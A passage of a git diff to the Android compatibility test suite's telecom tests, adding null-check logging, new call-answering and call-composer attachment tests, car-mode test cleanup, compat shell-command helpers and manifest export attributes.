                 sConnectionService.onRemoteExistingConnectionAdded(connection);
+            } else {
+                Log.e(LOG_TAG,
+                        "onRemoteExistingConnectionAdded called when sConnectionService null!");
             }
         }
     }
@@ -281,6 +305,9 @@
         synchronized(sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onRemoteConferenceAdded(conference);
+            } else {
+                Log.e(LOG_TAG,
+                        "onRemoteConferenceAdded called when sConnectionService null!");
             }
         }
     }
@@ -290,6 +317,9 @@
         synchronized (sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onConnectionServiceFocusGained();
+            } else {
+                Log.e(LOG_TAG,
+                        "onConnectionServiceFocusGained called when sConnectionService null!");
             }
         }
     }
@@ -299,6 +329,9 @@
         synchronized (sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onConnectionServiceFocusLost();
+            } else {
+                Log.e(LOG_TAG,
+                        "onConnectionServiceFocusLost called when sConnectionService null!");
             }
         }
     }
@@ -306,8 +339,8 @@
     @Override
     public boolean onUnbind(Intent intent) {
         Log.i(LOG_TAG, "Service has been unbound");
-        sServiceUnBoundLatch.countDown();
         sIsBound = false;
+        sServiceUnBoundLatch.countDown();
         sConnectionService = null;
         sTelecomConnectionService = null;
         return super.onUnbind(intent);
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index ff81c97..39498ec 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -24,10 +24,12 @@
 import android.content.ContentValues;
 import android.content.Context;
 import android.content.res.Configuration;
+import android.location.Location;
 import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.CallAudioState;
 import android.telecom.Call;
+import android.telecom.CallScreeningService;
 import android.telecom.Connection;
 import android.telecom.ConnectionService;
 import android.telecom.InCallService;
@@ -407,6 +409,59 @@
         }
     }
 
+    public void testCallComposerAttachmentsStrippedCorrectly() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_LOCATION, new Location(""));
+        extras.putInt(TelecomManager.EXTRA_PRIORITY, TelecomManager.PRIORITY_URGENT);
+        extras.putString(TelecomManager.EXTRA_CALL_SUBJECT, "blah blah blah");
+
+        TestUtils.setSystemDialerOverride(getInstrumentation());
+        MockCallScreeningService.enableService(mContext);
+        try {
+            CallScreeningService.CallResponse response =
+                    new CallScreeningService.CallResponse.Builder()
+                            .setDisallowCall(false)
+                            .setRejectCall(false)
+                            .setSilenceCall(false)
+                            .setSkipCallLog(false)
+                            .setSkipNotification(false)
+                            .setShouldScreenCallViaAudioProcessing(false)
+                            .setCallComposerAttachmentsToShow(0)
+                            .build();
+
+            MockCallScreeningService.setCallbacks(
+                    new MockCallScreeningService.CallScreeningServiceCallbacks() {
+                        @Override
+                        public void onScreenCall(Call.Details callDetails) {
+                            getService().respondToCall(callDetails, response);
+                        }
+                    });
+
+            addAndVerifyNewIncomingCall(createTestNumber(), extras);
+            verifyConnectionForIncomingCall(0);
+            MockInCallService inCallService = mInCallCallbacks.getService();
+            Call call = inCallService.getLastCall();
+
+            assertFalse(call.getDetails().getExtras().containsKey(TelecomManager.EXTRA_LOCATION));
+            assertFalse(call.getDetails().getExtras().containsKey(TelecomManager.EXTRA_PRIORITY));
+            assertFalse(call.getDetails().getExtras()
+                    .containsKey(TelecomManager.EXTRA_CALL_SUBJECT));
+
+            assertFalse(call.getDetails().getIntentExtras()
+                    .containsKey(TelecomManager.EXTRA_LOCATION));
+            assertFalse(call.getDetails().getIntentExtras()
+                    .containsKey(TelecomManager.EXTRA_PRIORITY));
+            assertFalse(call.getDetails().getIntentExtras()
+                    .containsKey(TelecomManager.EXTRA_CALL_SUBJECT));
+        } finally {
+            MockCallScreeningService.disableService(mContext);
+            TestUtils.clearSystemDialerOverride(getInstrumentation());
+        }
+    }
+
     private Uri blockNumber(Uri phoneNumberUri) {
         Uri number = insertBlockedNumber(mContext, phoneNumberUri.getSchemeSpecificPart());
         if (number == null) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
index 0128b6d..75594c3 100644
--- a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
@@ -36,6 +36,7 @@
 import android.telecom.ConnectionRequest;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
+import android.telecom.VideoProfile;
 import android.telephony.PhoneStateListener;
 
 import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -119,6 +120,7 @@
         verifyConnectionForIncomingCall();
         verifyPhoneStateListenerCallbacksForCall(CALL_STATE_RINGING,
                 testNumber.getSchemeSpecificPart());
+        verifyCallStateListener(CALL_STATE_RINGING);
     }
 
     /**
@@ -268,4 +270,85 @@
         Thread.sleep(STATE_CHANGE_DELAY);
         assertEquals(CALL_STATE_RINGING, mTelephonyManager.getCallState());
     }
+
+    /**
+     * Verifies that a call to {@link android.telecom.Call#answer(int)} with a passed video state of
+     * {@link android.telecom.VideoProfile#STATE_AUDIO_ONLY} will result in a call to
+     * {@link Connection#onAnswer()}.
+     * @throws Exception
+     */
+    public void testConnectionOnAnswerForAudioCall() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        // Get a new incoming call.
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        addAndVerifyNewIncomingCall(createTestNumber(), null);
+        Call call = mInCallCallbacks.getService().getLastCall();
+        final MockConnection connection = verifyConnectionForIncomingCall();
+        TestUtils.InvokeCounter audioInvoke = connection.getInvokeCounter(
+                MockConnection.ON_ANSWER_CALLED);
+
+        // Answer as audio-only.
+        call.answer(VideoProfile.STATE_AUDIO_ONLY);
+
+        // Make sure we get a call to {@link Connection#onAnswer()}.
+        audioInvoke.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+    }
+
+    /**
+     * Verifies that a call to {@link android.telecom.Call#answer(int)} with a passed video state of
+     * {@link android.telecom.VideoProfile#STATE_AUDIO_ONLY} will result in a call to
+     * {@link Connection#onAnswer()} where overridden.
+     * @throws Exception
+     */
+    public void testConnectionOnAnswerForVideoCallAnsweredAsAudio() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        // Get a new incoming call.
+        Bundle extras = new Bundle();
+        extras.putInt(TelecomManager.EXTRA_START_CALL_WITH_VIDEO_STATE,
+                VideoProfile.STATE_BIDIRECTIONAL);
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        addAndVerifyNewIncomingCall(createTestNumber(), extras);
+        Call call = mInCallCallbacks.getService().getLastCall();
+        final MockConnection connection = verifyConnectionForIncomingCall();
+        TestUtils.InvokeCounter audioInvoke = connection.getInvokeCounter(
+                MockConnection.ON_ANSWER_CALLED);
+
+        // Answer as audio-only.
+        call.answer(VideoProfile.STATE_AUDIO_ONLY);
+
+        // Make sure we get a call to {@link Connection#onAnswer()}.
+        audioInvoke.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+    }
+
+    /**
+     * Verifies that a call to {@link android.telecom.Call#answer(int)} with a passed video state of
+     * {@link android.telecom.VideoProfile#STATE_BIDIRECTIONAL} will result in a call to
+     * {@link Connection#onAnswer(int)}.
+     * @throws Exception
+     */
+    public void testConnectionOnAnswerIntForVideoCallAnsweredAsVideo() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        // Get a new incoming call.
+        Bundle extras = new Bundle();
+        extras.putInt(TelecomManager.EXTRA_START_CALL_WITH_VIDEO_STATE,
+                VideoProfile.STATE_BIDIRECTIONAL);
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        addAndVerifyNewIncomingCall(createTestNumber(), extras);
+        Call call = mInCallCallbacks.getService().getLastCall();
+        final MockConnection connection = verifyConnectionForIncomingCall();
+        TestUtils.InvokeCounter audioInvoke = connection.getInvokeCounter(
+                MockConnection.ON_ANSWER_VIDEO_CALLED);
+
+        // Answer as audio-only.
+        call.answer(VideoProfile.STATE_BIDIRECTIONAL);
+
+        // Make sure we get a call to {@link Connection#onAnswer(int)}.
+        audioInvoke.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 6b23dc6..5aba12e 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -21,6 +21,7 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.CallAudioState;
+import android.telecom.CallScreeningService;
 import android.telecom.Connection;
 import android.telecom.DisconnectCause;
 import android.telecom.PhoneAccountHandle;
@@ -46,6 +47,9 @@
     public static final int ON_DEFLECT = 8;
     public static final int ON_SILENCE = 9;
     public static final int ON_ADD_CONFERENCE_PARTICIPANTS = 10;
+    public static final int ON_CALL_FILTERING_COMPLETED = 11;
+    public static final int ON_ANSWER_CALLED = 12;
+    public static final int ON_ANSWER_VIDEO_CALLED = 13;
 
     private CallAudioState mCallAudioState =
             new CallAudioState(false, CallAudioState.ROUTE_EARPIECE, ROUTE_EARPIECE | ROUTE_SPEAKER);
@@ -57,11 +61,14 @@
     private RemoteConnection mRemoteConnection = null;
     private RttTextStream mRttTextStream;
 
-    private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(11);
+    private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(13);
 
     @Override
     public void onAnswer() {
         super.onAnswer();
+        if (mInvokeCounterMap.get(ON_ANSWER_CALLED) != null) {
+            mInvokeCounterMap.get(ON_ANSWER_CALLED).invoke();
+        }
     }
 
     @Override
@@ -72,6 +79,9 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.answer();
         }
+        if (mInvokeCounterMap.get(ON_ANSWER_VIDEO_CALLED) != null) {
+            mInvokeCounterMap.get(ON_ANSWER_VIDEO_CALLED).invoke(videoState);
+        }
     }
 
     @Override
@@ -259,6 +269,12 @@
         }
     }
 
+    @Override
+    public void onCallFilteringCompleted(
+            Connection.CallFilteringCompletionInfo callFilteringCompletionInfo) {
+        getInvokeCounter(ON_CALL_FILTERING_COMPLETED).invoke(callFilteringCompletionInfo);
+    }
+
     public int getCurrentState()  {
         return mState;
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
index 2089fb9..49d95e1 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
@@ -51,9 +51,10 @@
 
     public static final int EVENT_CONNECTION_SERVICE_FOCUS_GAINED = 0;
     public static final int EVENT_CONNECTION_SERVICE_FOCUS_LOST = 1;
-
-    // Next event id is 2
-    private static final int TOTAL_EVENT = EVENT_CONNECTION_SERVICE_FOCUS_LOST + 1;
+    public static final int EVENT_CONNECTION_SERVICE_CREATE_CONNECTION = 2;
+    public static final int EVENT_CONNECTION_SERVICE_CREATE_CONNECTION_FAILED = 3;
+    // Update TOTAL_EVENT below with last event.
+    private static final int TOTAL_EVENT = EVENT_CONNECTION_SERVICE_CREATE_CONNECTION_FAILED + 1;
 
     private static final int DEFAULT_EVENT_TIMEOUT_MS = 2000;
 
@@ -103,6 +104,7 @@
         connection.putExtras(testExtra);
         outgoingConnections.add(connection);
         lock.release();
+        mEventLock[EVENT_CONNECTION_SERVICE_CREATE_CONNECTION].release();
         return connection;
     }
 
@@ -145,6 +147,7 @@
         }
         incomingConnections.add(connection);
         lock.release();
+        mEventLock[EVENT_CONNECTION_SERVICE_CREATE_CONNECTION].release();
         return connection;
     }
 
@@ -156,6 +159,7 @@
         connection.setPhoneAccountHandle(connectionManagerPhoneAccount);
         failedConnections.add(connection);
         lock.release();
+        mEventLock[EVENT_CONNECTION_SERVICE_CREATE_CONNECTION_FAILED].release();
     }
 
     @Override
diff --git a/tests/tests/telecom/src/android/telecom/cts/NonUiInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/NonUiInCallServiceTest.java
index 94ec4d0..cb1357a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/NonUiInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/NonUiInCallServiceTest.java
@@ -31,7 +31,6 @@
     protected void tearDown() throws Exception {
         if (mShouldTestTelecom) {
             mTelecomManager.unregisterPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE);
-            CtsConnectionService.tearDown();
         }
         super.tearDown();
         waitOnAllHandlers(getInstrumentation());
diff --git a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
index 5a75fbc..d2cdd0c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
@@ -17,6 +17,7 @@
 package android.telecom.cts;
 
 import static android.telecom.Call.STATE_SELECT_PHONE_ACCOUNT;
+import static android.telephony.TelephonyManager.CALL_STATE_RINGING;
 
 import android.content.Context;
 import android.media.AudioManager;
@@ -132,7 +133,7 @@
         Map<Integer, List<EmergencyNumber>> emergencyNumbers = null;
 
         for (int i = 0; i < 5; i++) {
-            emergencyNumbers = mPhoneStateListener.waitForEmergencyNumberListUpdate(
+            emergencyNumbers = mTelephonyCallback.waitForEmergencyNumberListUpdate(
                     TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
             assertNotNull("Never got an update that the test emergency number was registered",
                     emergencyNumbers);
@@ -174,6 +175,7 @@
                 .getAddress().getSchemeSpecificPart();
         verifyPhoneStateListenerCallbacksForCall(TelephonyManager.CALL_STATE_OFFHOOK,
                 expectedNumber);
+        verifyCallStateListener(TelephonyManager.CALL_STATE_OFFHOOK);
     }
 
     /**
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
index 7a13f6b..29beb99 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
@@ -27,6 +27,7 @@
 import android.net.Uri;
 import android.os.AsyncTask;
 import android.os.IBinder;
+import android.os.RemoteException;
 import android.os.UserHandle;
 import android.telecom.cts.carmodetestapp.CtsCarModeInCallServiceControl;
 import android.telecom.cts.carmodetestapp.ICtsCarModeInCallServiceControl;
@@ -80,6 +81,8 @@
     private RoleManager mRoleManager;
     private String mDefaultDialer;
     private UiAutomation mUiAutomation;
+    private ICtsCarModeInCallServiceControl mCarModeIncallServiceControlOne;
+    private ICtsCarModeInCallServiceControl mCarModeIncallServiceControlTwo;
 
     private class TestServiceConnection implements ServiceConnection {
         private IBinder mService;
@@ -115,6 +118,9 @@
 
     @Override
     protected void setUp() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
         super.setUp();
         NewOutgoingCallBroadcastReceiver.reset();
         mContext = getInstrumentation().getContext();
@@ -129,7 +135,16 @@
 
     @Override
     protected void tearDown() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
         super.tearDown();
+
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+        disableAndVerifyCarMode(mCarModeIncallServiceControlTwo, Configuration.UI_MODE_TYPE_NORMAL);
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlTwo);
+
         CtsSelfManagedConnectionService connectionService =
                 CtsSelfManagedConnectionService.getConnectionService();
         if (connectionService != null) {
@@ -143,6 +158,9 @@
      * Test bind to non-UI in call services that support self-managed connections
      */
     public void testBindToSupportNonUiInCallService() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
         TestServiceConnection controlConn = setUpControl(THIRD_PTY_CONTROL,
                 NON_UI_INCALLSERVICE);
         ICtsThirdPartyInCallServiceControl control = ICtsThirdPartyInCallServiceControl.Stub
@@ -154,6 +172,7 @@
         assertTrue(connection.isTracked());
 
         connection.disconnectAndDestroy();
+        assertIsInCall(false);
         mContext.unbindService(controlConn);
     }
 
@@ -162,6 +181,9 @@
      * mode
      */
     public void testBindToSupportDefaultDialerNoCarMode() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
         TestServiceConnection controlConn = setUpControl(THIRD_PTY_CONTROL,
                 DEFAULT_DIALER_INCALLSERVICE_2);
         ICtsThirdPartyInCallServiceControl control = ICtsThirdPartyInCallServiceControl.Stub
@@ -177,6 +199,7 @@
         assertTrue(connection.isAlternativeUiShowing());
 
         connection.disconnectAndDestroy();
+        assertIsInCall(false);
         mContext.unbindService(controlConn);
     }
 
@@ -185,6 +208,9 @@
      * in car mode
      */
     public void testNoBindToUnsupportDefaultDialerNoCarMode() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
         TestServiceConnection controlConn = setUpControl(THIRD_PTY_CONTROL,
                 DEFAULT_DIALER_INCALLSERVICE_1);
         ICtsThirdPartyInCallServiceControl control = ICtsThirdPartyInCallServiceControl.Stub
@@ -196,78 +222,90 @@
         assertFalse(control.checkBindStatus(true /* bindStatus */));
 
         connection.disconnectAndDestroy();
+        assertIsInCall(false);
         mContext.unbindService(controlConn);
     }
 
     public void testEnterCarMode() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
         TestServiceConnection controlConn = setUpControl(CAR_MODE_CONTROL,
                 CAR_DIALER_1);
-        ICtsCarModeInCallServiceControl control = ICtsCarModeInCallServiceControl.Stub
+        mCarModeIncallServiceControlOne = ICtsCarModeInCallServiceControl.Stub
                 .asInterface(controlConn.getService());
-        control.reset();
+        mCarModeIncallServiceControlOne.reset();
 
         SelfManagedConnection connection = placeAndVerifySelfManagedCall();
         mUiAutomation.adoptShellPermissionIdentity(
                 "android.permission.ENTER_CAR_MODE_PRIORITIZED",
                 "android.permission.CONTROL_INCALL_EXPERIENCE");
-        control.enableCarMode(1000);
-        assertTrue(control.checkBindStatus(true /* bindStatus */));
-        control.disableCarMode();
+        mCarModeIncallServiceControlOne.enableCarMode(1000);
+        assertTrue(mCarModeIncallServiceControlOne.checkBindStatus(true /* bindStatus */));
+        mCarModeIncallServiceControlOne.disableCarMode();
         mUiAutomation.dropShellPermissionIdentity();
 
         connection.disconnectAndDestroy();
+        assertIsInCall(false);
         mContext.unbindService(controlConn);
     }
 
     public void testChangeCarModeApp() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
         TestServiceConnection controlConn1 = setUpControl(CAR_MODE_CONTROL, CAR_DIALER_1);
         TestServiceConnection controlConn2 = setUpControl(CAR_MODE_CONTROL, CAR_DIALER_2);
-        ICtsCarModeInCallServiceControl control1 = ICtsCarModeInCallServiceControl.Stub
+        mCarModeIncallServiceControlOne = ICtsCarModeInCallServiceControl.Stub
                 .asInterface(controlConn1.getService());
-        ICtsCarModeInCallServiceControl control2 = ICtsCarModeInCallServiceControl.Stub
+        mCarModeIncallServiceControlTwo = ICtsCarModeInCallServiceControl.Stub
                 .asInterface(controlConn2.getService());
-        control1.reset();
-        control2.reset();
+        mCarModeIncallServiceControlOne.reset();
+        mCarModeIncallServiceControlTwo.reset();
 
         mUiAutomation.adoptShellPermissionIdentity(
                 "android.permission.ENTER_CAR_MODE_PRIORITIZED",
                 "android.permission.CONTROL_INCALL_EXPERIENCE");
-        control1.enableCarMode(999);
+        mCarModeIncallServiceControlOne.enableCarMode(999);
 
         SelfManagedConnection connection = placeAndVerifySelfManagedCall();
-        assertTrue(control1.checkBindStatus(true /* bindStatus */));
-        control2.enableCarMode(1000);
-        assertTrue(control1.checkBindStatus(false /* bindStatus */));
-        assertTrue(control2.checkBindStatus(true /* bindStatus */));
+        assertTrue(mCarModeIncallServiceControlOne.checkBindStatus(true /* bindStatus */));
+        mCarModeIncallServiceControlTwo.enableCarMode(1000);
+        assertTrue(mCarModeIncallServiceControlOne.checkBindStatus(false /* bindStatus */));
+        assertTrue(mCarModeIncallServiceControlTwo.checkBindStatus(true /* bindStatus */));
 
-        control1.disableCarMode();
-        control2.disableCarMode();
-        // Make sure the UI mode has been set back
-        assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
+        mCarModeIncallServiceControlOne.disableCarMode();
+        mCarModeIncallServiceControlTwo.disableCarMode();
 
+        connection.disconnectAndDestroy();
+        assertIsInCall(false);
         mUiAutomation.dropShellPermissionIdentity();
         mContext.unbindService(controlConn1);
         mContext.unbindService(controlConn2);
     }
 
     public void testExitCarMode() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
         TestServiceConnection controlConn = setUpControl(CAR_MODE_CONTROL, CAR_DIALER_1);
-        ICtsCarModeInCallServiceControl control = ICtsCarModeInCallServiceControl.Stub
+        mCarModeIncallServiceControlOne = ICtsCarModeInCallServiceControl.Stub
                 .asInterface(controlConn.getService());
-        control.reset();
+        mCarModeIncallServiceControlOne.reset();
 
         mUiAutomation.adoptShellPermissionIdentity(
                 "android.permission.ENTER_CAR_MODE_PRIORITIZED",
                 "android.permission.CONTROL_INCALL_EXPERIENCE");
-        control.enableCarMode(1000);
+        mCarModeIncallServiceControlOne.enableCarMode(1000);
 
         SelfManagedConnection connection = placeAndVerifySelfManagedCall();
-        assertTrue(control.checkBindStatus(true /* bindStatus */));
-        control.disableCarMode();
-        assertTrue(control.checkBindStatus(false /* bindStatus */));
+        assertTrue(mCarModeIncallServiceControlOne.checkBindStatus(true /* bindStatus */));
+        mCarModeIncallServiceControlOne.disableCarMode();
+        assertTrue(mCarModeIncallServiceControlOne.checkBindStatus(false /* bindStatus */));
         mUiAutomation.dropShellPermissionIdentity();
 
         connection.disconnectAndDestroy();
+        assertIsInCall(false);
         mContext.unbindService(controlConn);
     }
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index c226fb0..2716146 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -270,6 +270,12 @@
             .setExtras(SELF_MANAGED_ACCOUNT_4_EXTRAS)
             .build();
 
+    /**
+     * See {@link TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION}
+     */
+    public static final String ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING =
+            "ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION ";
+
     private static final String COMMAND_SET_CALL_DIAGNOSTIC_SERVICE =
             "telecom set-call-diagnostic-service ";
 
@@ -305,6 +311,8 @@
     private static final String COMMAND_SET_TEST_EMERGENCY_PHONE_ACCOUNT_PACKAGE_NAME_FILTER =
             "telecom set-test-emergency-phone-account-package-filter ";
 
+    private static final String COMMAND_AM_COMPAT = "am compat ";
+
     public static final String MERGE_CALLER_NAME = "calls-merged";
     public static final String SWAP_CALLER_NAME = "calls-swapped";
 
@@ -439,6 +447,24 @@
         executeShellCommand(instr, COMMAND_SET_TEST_EMERGENCY_PHONE_ACCOUNT_PACKAGE_NAME_FILTER);
     }
 
+    public static void enableCompatCommand(Instrumentation instr,
+            String commandName) throws Exception {
+        String cmd = COMMAND_AM_COMPAT + "enable  --no-kill " + commandName + PACKAGE;
+        executeShellCommand(instr, cmd);
+    }
+
+    public static void disableCompatCommand(Instrumentation instr,
+            String commandName) throws Exception {
+        String cmd = COMMAND_AM_COMPAT + "disable  --no-kill " + commandName + PACKAGE;
+        executeShellCommand(instr, cmd);
+    }
+
+    public static void resetCompatCommand(Instrumentation instr,
+            String commandName) throws Exception {
+        String cmd = COMMAND_AM_COMPAT + "reset  --no-kill " + commandName + PACKAGE;
+        executeShellCommand(instr, cmd);
+    }
+
     /**
      * Executes the given shell command and returns the output in a string. Note that even
      * if we don't care about the output, we have to read the stream completely to make the
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
index 6deea62..0b1903b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
@@ -378,20 +378,23 @@
             contactUri = TestUtils.insertContact(mContentResolver,
                     TEST_OUTGOING_NUMBER.getSchemeSpecificPart());
         }
-        Bundle extras = new Bundle();
-        extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_OUTGOING_NUMBER);
-        // Create a new outgoing call.
-        placeAndVerifyCall(extras);
 
-        if (addContact) {
-            assertEquals(1, TestUtils.deleteContact(mContentResolver, contactUri));
+        try {
+            Bundle extras = new Bundle();
+            extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_OUTGOING_NUMBER);
+            // Create a new outgoing call.
+            placeAndVerifyCall(extras);
+
+            mInCallCallbacks.getService().disconnectAllCalls();
+            assertNumCalls(mInCallCallbacks.getService(), 0);
+
+            // Wait for it to log.
+            callLogEntryLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+        } finally {
+            if (addContact) {
+                assertEquals(1, TestUtils.deleteContact(mContentResolver, contactUri));
+            }
         }
-
-        mInCallCallbacks.getService().disconnectAllCalls();
-        assertNumCalls(mInCallCallbacks.getService(), 0);
-
-        // Wait for it to log.
-        callLogEntryLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
     }
 
     private Uri addIncoming(boolean disconnectImmediately, boolean addContact) throws Exception {
diff --git a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java
index 7b0e431..13d34ba 100644
--- a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java
@@ -36,8 +36,8 @@
     private static boolean sIsServiceUnbound = false;
     private static CtsCarModeInCallService sInstance = null;
     private int mCallCount = 0;
-    private static CountDownLatch sBoundLatch;
-    private static CountDownLatch sUnboundLatch;
+    private static CountDownLatch sBoundLatch = new CountDownLatch(1);
+    private static CountDownLatch sUnboundLatch = new CountDownLatch(1);
     private List<Call> mCalls = new ArrayList<>();
 
     @Override
diff --git a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
index d251c32..fe38d3c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
+++ b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
@@ -55,12 +55,18 @@
 
         @Override
         public void disconnectCalls() {
-            CtsCarModeInCallService.getInstance().disconnectCalls();
+            if (CtsCarModeInCallService.getInstance() != null) {
+                CtsCarModeInCallService.getInstance().disconnectCalls();
+            }
         }
 
         @Override
         public int getCallCount() {
-            return CtsCarModeInCallService.getInstance().getCallCount();
+            if (CtsCarModeInCallService.getInstance() != null) {
+                return CtsCarModeInCallService.getInstance().getCallCount();
+            }
+            // if there's no instance, there's no calls
+            return 0;
         }
 
         @Override
@@ -76,6 +82,18 @@
         }
 
         @Override
+        public boolean requestAutomotiveProjection() {
+            UiModeManager uiModeManager = getSystemService(UiModeManager.class);
+            return uiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE);
+        }
+
+        @Override
+        public void releaseAutomotiveProjection() {
+            UiModeManager uiModeManager = getSystemService(UiModeManager.class);
+            uiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE);
+        }
+
+        @Override
         public boolean checkBindStatus(boolean bind) {
             return CtsCarModeInCallService.checkBindStatus(bind);
         }
diff --git a/tests/tests/telecom2/AndroidManifest.xml b/tests/tests/telecom2/AndroidManifest.xml
index 00e58eb..d579152 100644
--- a/tests/tests/telecom2/AndroidManifest.xml
+++ b/tests/tests/telecom2/AndroidManifest.xml
@@ -15,69 +15,71 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telecom2.cts">
-    <uses-sdk android:minSdkVersion="21" />
+     package="android.telecom2.cts">
+    <uses-sdk android:minSdkVersion="21"/>
 
     <!--
-        This app contains tests to verify Telecom's behavior when the app is missing certain
-        permissions.
-    -->
+                This app contains tests to verify Telecom's behavior when the app is missing certain
+                permissions.
+            -->
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name="android.telecom.cts.MockConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.MockInCallService"
-            android:permission="android.permission.BIND_INCALL_SERVICE" >
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
         </service>
 
